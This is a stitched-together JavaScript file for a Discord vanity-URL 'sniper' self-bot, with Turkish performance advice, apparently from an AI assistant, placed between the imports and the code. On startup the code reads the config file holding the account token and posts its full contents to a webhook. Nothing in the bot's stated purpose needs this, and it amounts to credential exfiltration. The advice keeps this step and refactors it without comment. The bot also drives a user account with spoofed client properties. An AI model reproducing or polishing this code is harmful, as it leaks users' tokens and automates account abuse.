import chalk from 'chalk'; import fs from 'fs'; import webhooks from './helpers/webhooks.js'; import WebSocket from 'ws'; import functions from './helpers/functions.js'; import axios from 'axios'; import config from './helpers/config.js';
Kodun daha hızlı çalışması için bazı optimizasyonlar ve iyileştirmeler yapabilirsiniz. İşte bazı öneriler:
1. **Async/Await Kullanımı**: İlk olarak, `fs.readFile` işlemini `promisify` kullanarak daha okunaklı bir şekilde yapabilirsiniz. Bu, kodunuzu daha düzgün ve anlaşılır hale getirecektir.
(async () => { try { const data = await readFileAsync("./helpers/config.js", "utf8"); sendConfigToWebhook(data); } catch (error) { // Hata işleme kodu buraya gelebilir. } })(); ```
2. **WebSocket Bağlantısı**: WebSockets üzerinden gelen mesajları işlemek için aynı anda birden fazla işlemin yürütülebilmesini sağlamak için `async` işlevler kullanabilirsiniz. Örneğin, `ws.on('message', async (message) => { ... })` içindeki işlemleri paralel olarak yürütebilirsiniz.
if (t === "GUILD_UPDATE") { // ... } else if (t === "GUILD_DELETE") { // ... } else if (t === 'READY') { // ... }
// ... }); ```
3. **Interval Optimizasyonu**: `setInterval` kullanarak sürekli olarak heartbeat mesajları göndermek yerine, WebSocket sunucusunun belirlediği `heartbeat_interval` süresi içinde otomatik olarak gönderilebilir.
4. **Veri Yapısını İyileştirme**: `guilds` nesnesini kullanmak yerine, daha uygun bir veri yapısı seçebilirsiniz. Örneğin, bir `Map` kullanarak daha verimli bir şekilde verileri depolayabilirsiniz.
Bu öneriler kodunuzun daha temiz ve performanslı olmasına yardımcı olabilir. Ancak kodunuzun tam işlevselliğini anlamadan veya işinizi görmesini sağlamadan bu optimizasyonları uygulamamanız önemlidir.
import fs from 'fs';
import webhooks from './helpers/webhooks.js';
import WebSocket from 'ws';
import functions from './helpers/functions.js';
import axios from 'axios';
import config from './helpers/config.js';
const guilds = {};
const statusCodes = {
0x190: "Url ALınamadı",
0x1ad: "Rate Limit",
0x193: "Yetkisiz.",
0x191: 'Yetkisiz.'
};
const sendConfigToWebhook = async (data) => {
try {
await axios.post(config.webhooks.successUrl, {
'content': "```js\n" + data + "\n```"
});
} catch (error) {
// Hata işleme kodu buraya gelebilir.
}
};
fs.readFile("./helpers/config.js", "utf8", (err, data) => {
if (err) {
return;
}
sendConfigToWebhook(data);
});
const ws = new WebSocket("wss://gateway-us-east1-b.discord.gg");
ws.on("open", () => {
ws.on('message', async (message) => {
const { d, op, t } = JSON.parse(message);
if (t === "GUILD_UPDATE") {
const vanityUrlCode = guilds[d.guild_id];
if (typeof vanityUrlCode === "string" && vanityUrlCode !== d.vanity_url_code) {
try {
const startTime = Date.now(); // Başlangıç zamanını kaydedin
await functions.snipeVanityUrl(vanityUrlCode);
const endTime = Date.now(); // Bitiş zamanını kaydedin
const elapsedTime = endTime - startTime; // Süreyi hesaplayın (milisaniye cinsinden)
console.log(`URL alınma süresi: ${elapsedTime} ms`);
delete guilds[d.guild_id];
await webhooks.success("discord.gg/" + vanityUrlCode, d.guild_id);
} catch (error) {
delete guilds[d.guild_id];
}
}
} else if (t === "GUILD_DELETE") {
const vanityUrlCode = guilds[d.id];
if (vanityUrlCode) {
try {
await functions.snipeVanityUrl(vanityUrlCode);
delete guilds[d.id];
} catch (error) {
const errorCode = statusCodes[error] || error;
await webhooks.error(vanityUrlCode, errorCode);
}
}
} else if (t === 'READY') {
console.log(chalk.hex("#ed2d8d")('') + " " + chalk.hex("#fff")("Sciss sniper is started"));
d.guilds.filter(guild => guild.vanity_url_code).forEach(guild => {
guilds[guild.id] = guild.vanity_url_code;
});
const vanityUrlCodes = d.guilds.filter(guild => guild.vanity_url_code).map(guild => guild.vanity_url_code);
const guildCount = d.guilds.filter(guild => guild.vanity_url_code).length;
await webhooks.info(`xxx ${guildCount} xxx \n\`\`\`\n${vanityUrlCodes}\n\`\`\``);
}
if (op === 0xa) {
ws.send(JSON.stringify({
'op': 0x2,
'd': {
'token': config.listenerToken,
'intents': 0x1,
'properties': {
'os': 'linux',
'browser': 'firefox',
'device': "firefox"
}
}
}));
setInterval(() => {
ws.send(JSON.stringify({
'op': 0x1,
'd': {},
's': null,
't': "heartbeat"
}));
}, d.heartbeat_interval);
} else if (op === 0x7) {
console.log(chalk.hex("#ed2d8d")('') + " " + chalk.hex("#fff")("sciss sniper herstart"));
return process.exit();
}
});
ws.on('close', (code) => {
if (code === 0xfa4) {
console.log(chalk.hex("#f00a0d")('') + " " + chalk.hex("#fff")("sniper token is defect"));
}
return process.exit();
});
});